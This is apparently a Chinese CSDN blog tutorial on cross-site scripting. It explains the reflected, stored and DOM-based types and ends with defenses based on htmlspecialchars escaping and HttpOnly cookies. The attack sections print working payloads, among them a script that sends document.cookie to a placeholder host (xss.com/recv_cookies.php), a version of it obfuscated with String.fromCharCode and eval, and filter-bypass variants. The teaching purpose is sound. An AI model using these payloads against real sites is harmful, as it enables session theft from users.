XSS跨站脚本攻击

本文详细介绍了XSS攻击的三种类型(反射型、存储型、DOM型),展示了如何利用不同方式构造payload,并强调了HTML转义和使用http-only属性进行防御的重要性。特别提到htmlspecialchars函数在PHP中的应用以及其在实际防御过程中的作用。
摘要由CSDN通过智能技术生成

1.简介

在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。

XSS一般分为3类:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。

2.反射型XSS

  • 输入<script>alert('xss')</script>测试,弹出了XSS,说明输入的数据被浏览器当成指令执行了!
  • 在输入框中输入<script>alert(document.cookie)</script>,可以在前端页面弹出用户cookie。
  • 通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。

    构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:
    <script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

3.存储型XSS

没有对“<>'"”等特殊字符进行实体编码。mysql_escape_string函数仅用来转义特殊字符而非对字符进行实体编码。

4.DOM 型XSS

通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。

测试按钮被点击后调用了xssDom函数,在这个函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS。


需要一个单引号来闭合 a标签的href属性。然后一个“>”来闭合a标签的“<”。
w3c规定innerHTML进来的script标签内的脚本代码无法执行。直接插入script无法执行,但是可以利用事件来触发,比如:onerror,onclick等。
构造如下数据:' οnclick=alert(/xss/) //
此时页面代码就变成了:<a href='' οnclick=alert(/xss/) //'>xssDom</a>
或者:'><img src=123 οnerrοr=alert(/xss/) />
页面在尝试加载路径为123 的图片时,无法加载该图片,所以触发onerror函数。

如果想要获取用户cookie,可以在onerror事件中,插入JS代码。
<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>
不能直接通过插入,防止cookie中有特殊字字符,如#等导致cookie不全,所以应进行URL编码。

要构造一个没有空格的payload,可以用编码等方式来绕过,比如利用String.fromCharCode函数,该函数会把数字转成该ASCII码表中该数字对应的字符,此时再用eval执行。如果要获取cookie,可以把new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie) 这个代码转换成他们对应的ascii码(使用插件hackbar,然后通过String.fromCharCode还原成字符串。
利用eval执行该代码,所以,最终的构造语句是: '><img src="123" οnerrοr=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />

5.其他

  • /<script>/i(忽略大小写):使用<img src=1 οnerrοr=alert(1)>
  • 过滤了alert:使用<script>confirm()</script>,<script>prompt()</script>,<img src=1 οnerrοr=conform(1)>,<img src=1 οnerrοr=prompt()>
  • html实体化


  • 提交form表单


6.防御

1.xss防护策略

xss漏洞产生的主要原因大致是因为生成HTML时没有对<、>、”等进行转义。所以将特殊字符进行转义处理显然就是重要的安全策略。

2.htmlspecialchars函数介绍

在使用PHP开发时,可以使用htmlspecialchars函数进行HTML的转义。
string htmlspecialchars(string $string, int $quote_style, string $charset);
三个参数的意义:
$string 转换对象字符串
$quote_style 转换方法(ENT_NOQUOTES,ENT_COMPAT,ENT_QUOTES)
$charset 字符编码。例如:UTF-8、GBK

3.实例

防御前

防御后

结果

4.Http-only

http-only字段,就是加在cookie身上的一个“护身符”。浏览器存在这种机制,只要cookie中含有Http-only字段,那么任何JavaScript脚本都没有权限读取这条cookie的内容。


在setcookie方法的第七个传入参数中设置了变量TRUE,表示这个cookie具有HTTP-only属性。保存并退出文件。

在昵称输入框中输入:<script>alert(document.cookie);</script>
点击提交,此时再观察弹出框:

此时发现,虽然XSS漏洞点依旧存在,但XSS的恶意利用脚本已无法获取到用户的Cookie,弹出的内容为空。通过这种方法,网站成功保护了用户的Cookie信息免遭攻击者窃取。
 


 


 


 


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值